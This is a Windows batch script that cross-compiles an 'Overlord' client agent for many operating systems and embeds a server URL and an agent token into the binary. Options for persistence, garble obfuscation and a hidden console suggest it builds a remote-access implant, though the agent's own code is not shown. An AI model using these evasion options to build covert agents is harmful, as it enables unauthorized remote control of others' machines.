172 lines
5.0 KiB
Batchfile
172 lines
5.0 KiB
Batchfile
@echo off
|
|
setlocal
|
|
set ROOT=%~dp0
|
|
set CLIENT_DIR=%ROOT%Overlord-Client
|
|
set OUT_DIR=%ROOT%dist-clients
|
|
|
|
if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false
|
|
if not defined OBFUSCATE set OBFUSCATE=false
|
|
if not defined HIDE_CONSOLE set HIDE_CONSOLE=false
|
|
if not defined NO_PRINTING set NO_PRINTING=false
|
|
|
|
set "GARBLE_FLAGS="
|
|
|
|
REM Build LDFLAGS with all custom settings
|
|
set "LDFLAGS=-s -w"
|
|
|
|
set "BUILD_TAGS="
|
|
if "%NO_PRINTING%"=="true" (
|
|
echo Building with printing disabled
|
|
set "BUILD_TAGS=-tags noprint"
|
|
)
|
|
|
|
if "%ENABLE_PERSISTENCE%"=="true" (
|
|
echo Building with persistence enabled
|
|
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultPersistence=true"
|
|
)
|
|
|
|
if not "%SERVER_URL%"=="" (
|
|
echo Building with custom server URL: %SERVER_URL%
|
|
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultServerURL=%SERVER_URL%"
|
|
)
|
|
|
|
if not "%CLIENT_ID%"=="" (
|
|
echo Building with custom client ID: %CLIENT_ID%
|
|
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultID=%CLIENT_ID%"
|
|
)
|
|
|
|
if not "%CLIENT_COUNTRY%"=="" (
|
|
echo Building with custom country: %CLIENT_COUNTRY%
|
|
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultCountry=%CLIENT_COUNTRY%"
|
|
)
|
|
|
|
if "%OVERLORD_AGENT_TOKEN%"=="" (
|
|
set "SAVE_JSON=%APPDATA%\Overlord\save.json"
|
|
if exist "%SAVE_JSON%" (
|
|
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "$p='%SAVE_JSON%'; try { $j = Get-Content -Raw -LiteralPath $p | ConvertFrom-Json; $t = $j.auth.agentToken; if ($t) { [Console]::Write($t) } } catch {}"`) do set "OVERLORD_AGENT_TOKEN=%%I"
|
|
)
|
|
)
|
|
|
|
if not "%OVERLORD_AGENT_TOKEN%"=="" (
|
|
echo Embedding agent token from environment/save.json
|
|
set "LDFLAGS=%LDFLAGS% -X overlord-client/cmd/agent/config.DefaultAgentToken=%OVERLORD_AGENT_TOKEN%"
|
|
)
|
|
|
|
echo LDFLAGS: %LDFLAGS%
|
|
|
|
set "WIN_LDFLAGS="
|
|
if "%HIDE_CONSOLE%"=="true" (
|
|
echo Windows console hidden (GUI subsystem)
|
|
set "WIN_LDFLAGS=-H=windowsgui"
|
|
)
|
|
|
|
set "BUILD_CMD=go build"
|
|
if "%OBFUSCATE%"=="true" (
|
|
where garble >nul 2>&1
|
|
if errorlevel 1 (
|
|
echo garble not found. Install with: go install mvdan.cc/garble@latest
|
|
exit /b 1
|
|
)
|
|
echo Obfuscation enabled (garble)
|
|
set "BUILD_CMD=garble build %GARBLE_FLAGS%"
|
|
)
|
|
|
|
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
|
|
|
pushd "%CLIENT_DIR%"
|
|
echo == Building agent for windows amd64 ==
|
|
set GOOS=windows
|
|
set GOARCH=amd64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for windows x86 ==
|
|
set GOOS=windows
|
|
set GOARCH=386
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-386.exe" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for windows arm64 ==
|
|
set GOOS=windows
|
|
set GOARCH=arm64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-arm64.exe" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for linux amd64 ==
|
|
set GOOS=linux
|
|
set GOARCH=amd64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-amd64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for linux arm64 ==
|
|
set GOOS=linux
|
|
set GOARCH=arm64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-arm64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for linux arm (armv7) ==
|
|
set GOOS=linux
|
|
set GOARCH=arm
|
|
set GOARM=7
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-linux-armv7" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for darwin arm64 ==
|
|
set GOOS=darwin
|
|
set GOARCH=arm64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-arm64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for darwin amd64 ==
|
|
set GOOS=darwin
|
|
set GOARCH=amd64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-darwin-amd64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for freebsd amd64 ==
|
|
set GOOS=freebsd
|
|
set GOARCH=amd64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-amd64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for freebsd arm64 ==
|
|
set GOOS=freebsd
|
|
set GOARCH=arm64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-freebsd-arm64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for openbsd amd64 ==
|
|
set GOOS=openbsd
|
|
set GOARCH=amd64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-amd64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo == Building agent for openbsd arm64 ==
|
|
set GOOS=openbsd
|
|
set GOARCH=arm64
|
|
set CGO_ENABLED=0
|
|
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS%" -o "%OUT_DIR%\agent-openbsd-arm64" ./cmd/agent
|
|
if errorlevel 1 goto :err
|
|
|
|
echo Builds complete. Outputs in %OUT_DIR%
|
|
goto :eof
|
|
|
|
:err
|
|
echo Build failed. See errors above.
|
|
exit /b 1
|
|
|
|
:eof
|
|
popd
|
|
endlocal
|